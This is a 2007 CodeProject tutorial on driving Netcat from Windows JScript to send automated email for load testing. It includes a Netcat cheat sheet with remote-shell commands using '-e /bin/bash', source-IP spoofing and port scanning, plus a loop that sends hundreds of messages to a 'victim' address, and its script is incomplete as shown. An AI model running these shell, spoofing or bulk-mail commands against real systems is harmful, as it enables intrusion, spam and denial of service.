Click here to Skip to main content
13,398,051 members (41,343 online)
Click here to Skip to main content
Add your own
alternative version


17 bookmarked
Posted 22 Feb 2007

Automated Email Sending from the Command Line Using JScript

, 22 Feb 2007
Rate this:
Please Sign up or sign in to vote.
How to send emails using JScript and Netcat. This technique can be used for mailouts or load testing.


Netcat for Windows is phenomenally powerful when driven from the Windows Scripting Host!

Netcat on Windows Background

Netcat is a very powerful, open source (GPL 2) network tool that come originally from Unix. It is so powerful and easy to use that it has gained a bad reputation as a hacker tool. This is not what it was designed for, and indeed, many security professionals use it in the war against hackers.

To give you a flavour of what it can do, here is a list of some examples:

Connect to a port on a remote hostnc remote_host <port>
Connect to multiple ports on a remote hostnc remote_host <port>...<port>

For example:
nc 21 25 80
Listen on a port for incoming connectionsnc -v -l -p <port>
Connect to a remote host and serve a bash shellnc remote_ip <port> -e /bin/bash

Note that Netcat does not support the -e flag by default. To make Netcat support the -e flag, it must be re-compiled with the DGAPING_SECURITY_HOLE option.
Listen on a port and serve a bash shell upon connectnc -v -l -p <port> -e /bin/bash

Note that Netcat does not support the -e flag by default. To make Netcat support the -e flag, it must be re-compiled with the DGAPING_SECURITY_HOLE option.
Port scan a remote hostnc -v -z remote_host <port>-<port>

Use the -i flag to set a delay interval:
nc -i <seconds> -v -z remote_host
Pipe command output to a Netcat request<command> | nc remote_host <port>

For example:

echo "GET / HTTP/1.0
"| nc 80
Use source-routing to connect to a port on a remote hostnc -g <gateway> remote_host <port>
Note: Up to eight hop points may be specified using the -g flag. Use the -G flag to specify the source-routing pointer.
Spoof source IP addressUse the -s flag to spoof the source IP address:
nc -s spoofed_ip remote_host port

This command will cause the remote host to respond back to the spoofed IP address. The -s flag can be used along with most of the commands presented in this table.
Transfer a fileOn the server host:
nc -v -l -p <port> < <file>

On the client host:
nc -v <server_host> <port> > <file>

It is also possible for the client host to listen on a port in order to receive a file. To do this, run the following command on the client host:
nc -v -l -p <port> > file

And run the following command on the server host:
nc -v <client_host> <port> < file>

Exsead Email Sending

Now that we have seen how powerful Netcat is, we can have a look at what we can do with it for scripts. I have already discussed interacting with Web Services using the XMLHTTP object. For sending email, there is no such ready made object to help us. However, sending email is not an especially complex matter, so we can just use Netcat instead!

To do this, you will first require a copy of Netcat. I have a copy that runs on Windows XP and have included it with this post (see top of post). I did not do the port, but the credits are in the zip, and it is GPL 2. Once you have nc.exe, you will need to put it somewhere on the executable path (e.g., system32) or in the same directory in which you are going to run your script.

Below is a very simple example script. This should be run by cscript from the command prompt. You will have to change the address of the SMTP server to one for which you have access, and set the to and from email addresses, hit count, and inter-hit delay to the appropriate settings. This is a real script, I used it today to load test an email server!

var strExe = "nc -v 25";

var objShell = WScript.CreateObject("WScript.Shell");
var total  = 512;
var delay  = 0;
var victim = "";

for(var i=0;i<total;++i)
    var strExeIn ="HELO\r\n"; 
        strExeIn+="MAIL FROM: <>\r\n";
        strExeIn+="RCPT TO: <"+victim+">\r\n";
        strExeIn+="Body of email: this is an auto generated test email.\r\n";
        strExeIn+="This is "+(i+1)+" of "+total+"\r\n";

    var objScriptExec = objShell.Exec(strExe);
    WScript.echo("Sending "+(i+1)+" of "+total+" to "+victim);

A Word of Warning!

This is a powerful script that is equally capable of bringing an email server to its knees or getting you thrown off the SMTP server! Use with caution, and do not spam!

Doing more fancy stuff

Using the Base64 encoder in the code repository (go to and look at the scripts link on the right hand side), you can add support for attachments to the script. You could also make it pick up information on to whom to send the emails from a Web Service or database (via ADODB). There are posts on all of these techniques hiding away in Nerds-Central.


This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


About the Author

alex turner
Web Developer
United Kingdom United Kingdom
I am now a Software Systems Developer - Senior Principal at Micro Focus Plc. I am honoured to work in a team developing new compiler and runtime technology for Micro Focus.

My past includes a Ph.D. in computational quantum mechanics, software consultancy and several/various software development and architecture positions.

For more - see



You may also be interested in...


Comments and Discussions

GeneralTelnet is more handy Pin
T4Top24-Feb-07 1:28
memberT4Top24-Feb-07 1:28 
GeneralRe: Telnet is more handy Pin
alex turner25-Feb-07 3:50
memberalex turner25-Feb-07 3:50 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

Permalink | Advertise | Privacy | Terms of Use | Mobile
Web04 | 2.8.180216.1 | Last Updated 22 Feb 2007
Article Copyright 2007 by alex turner
Everything else Copyright © CodeProject, 1999-2018
Layout: fixed | fluid